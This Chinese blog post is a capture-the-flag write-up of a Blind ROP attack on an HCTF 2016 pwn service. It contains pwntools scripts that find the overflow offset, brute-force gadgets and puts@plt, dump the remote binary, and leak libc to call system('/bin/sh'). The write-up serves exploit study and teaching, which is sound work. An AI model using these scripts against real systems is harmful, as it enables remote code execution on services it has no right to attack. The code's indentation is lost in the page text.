BruceFan's Blog

Stay hungry, stay foolish

0%

Blind Return Oriented Programming (BROP) Attack攻击实践

这个攻击的实践以2016年的hctf中的一个pwn题为例。虽然这个例子中没有包含攻击原理的全部细节,但是作为这种攻击的入门还是不错的。
这道题目没有给二进制文件,只能采用BROP。
1.经过测试,当输入字符超过72字节时,程序不会显示No password, No game

1
2
3
4
5
6
7
8
9
10
11
# 测试栈溢出大小 72
for i in range(0, 200):
r = remote("127.0.0.1", 4444)
r.recvuntil("?\n")
r.sendline('A' * i)
try:
r.recvuntil('No password, no game')
except:
print i
break
r.close()

2.假设没有开启PIE,则基地址为0x080480000x400000。首先尝试0x08048000,没有任何发现,因此判断系统为64位。
构造如下payload爆破,发现当i=0x6bd时,程序会重新开始,判断0x4006bd为main地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for i in range(0x600, 0x1000):
r = remote("127.0.0.1", 4444)
r.recvuntil("?\n")
payload = 'A' * 72 + p64(0x400000+i)
r.sendline(payload)
try:
r.recvuntil('?\n')
print hex(0x400000+i)
r.interactive()
r.close()
break
except:
print hex(0x400000+i)
r.close()
continue

3.因为是64位程序,要实现任意地址泄露,主要需要知道pop rdi; retputs@plt的地址。
在64位ELF中,通常存在一个pop r15; ret,对应的字节码为41 5f c3,后两个字节码对应指令pop rdi; ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for i in range(0x750, 0x1000):
r = remote("127.0.0.1", 4444)
r.recvuntil("?\n")
addr = 0x400000 + i
# 寻找BROP Gadget(pop rbx;pop rbp;pop r12;pop r13;pop r14;pop r15;ret)
payload = 'A' * 72 + p64(addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(main)
r.sendline(payload)
try:
print r.recvuntil('?\n')
print hex(0x400000+i)
r.interactive()
r.close()
break
except:
print hex(0x400000+i)
r.close()
continue

得到地址0x4007ba,加8应该就是pop r15; ret的地址了,要确认还需要进一步测试:当一个地址满足如下3个payload都能返回main函数的话,就可以得到一个pop rdi; ret的地址。

1
2
3
payload1 = 'A' * 72 + p64(addr-1) + p64(0) + p64(main)
payload2 = 'A' * 72 + p64(addr) + p64(0) + p64(main)
payload3 = 'A' * 72 + p64(addr+1) + p64(main)

最终得到pop_rdi_ret地址为0x4007c3。
4.构造如下代码爆破puts_plt的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for i in range(0x500, 0x1000):
r = remote("127.0.0.1", 4444)
r.recvuntil("?\n")
payload = 'A' * 72 + p64(pop_rdi_ret) + p64(0x400000) + p64(0x400000+i)
r.sendline(payload)
try:
print r.recvuntil('ELF')
print hex(0x400000+i)
r.close()
break
except:
print hex(0x400000+i)
r.close()
continue

如果程序打印前四个字节为\x7fELF,则为puts_plt。得到的地址为0x400565,实际puts_plt为0x400570,并没有什么影响。
5.dump代码,用IDA分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def dump():
r = remote('127.0.0.1', 4444)
base = 0x400000
d = ''
while True:
try:
print hex(len(d))
r.recvuntil('?\n')
payload = 'A' * 72 + p64(pop_rdi_ret) + p64(base+len(d)) + p64(puts_plt) + p64(main)
r.sendline(payload)
d += r.recvline()[:-1] + '\x00'
except:
r = remote('127.0.0.1', 4444)
if len(d) > 0x9bc:
break
f = open('code.bin', 'wb')
f.write(d)
f.close()
base = 0x600e10
d = ''
while True:
print hex(len(d))
r.recvuntil('?\n')
payload = 'A' * 72 + p64(pop_rdi_ret) + p64(base+len(d)) + p64(puts_plt) + p64(main)
r.sendline(payload)
d += r.recvline()[:-1] + '\x00'
if len(d) > 0x248:
break
f = open('data.bin', 'wb')
f.write(d)
f.close()
r.close()

dump出的code.bin文件用IDA打开,打开时不能以ELF64打开,要以binary file打开,打开后对段基址rebase一下:Edit->Segements->Rebase program,将Value改为0x400000。
改完之后找到前面判定的main(0x4006bd),将光标放在这里,按下p,反汇编为代码。
6.exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
# 先泄露出read和puts的got中的地址,根据read和puts的低12位值判断出libc版本
def exp():
read_got = 0x601028
puts_got = 0x601018
r = remote('127.0.0.1', 4444)
r.recvuntil('?\n')
r.sendline('A' * 72 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main))
libc_base = u64(r.recvline()[:-1].ljust(8, '\x00')) - 0x6f690
system = libc_base + 0x45390
binsh = libc_base + 0x18c177
r.recvuntil('?\n')
r.sendline('A'*72 + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(main))
r.interactive()

题目下载
reference
http://bobao.360.cn/ctf/detail/179.html
http://pwn4.fun/2017/02/13/Blind-Return-Oriented-Programming-BROP-Attack%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86/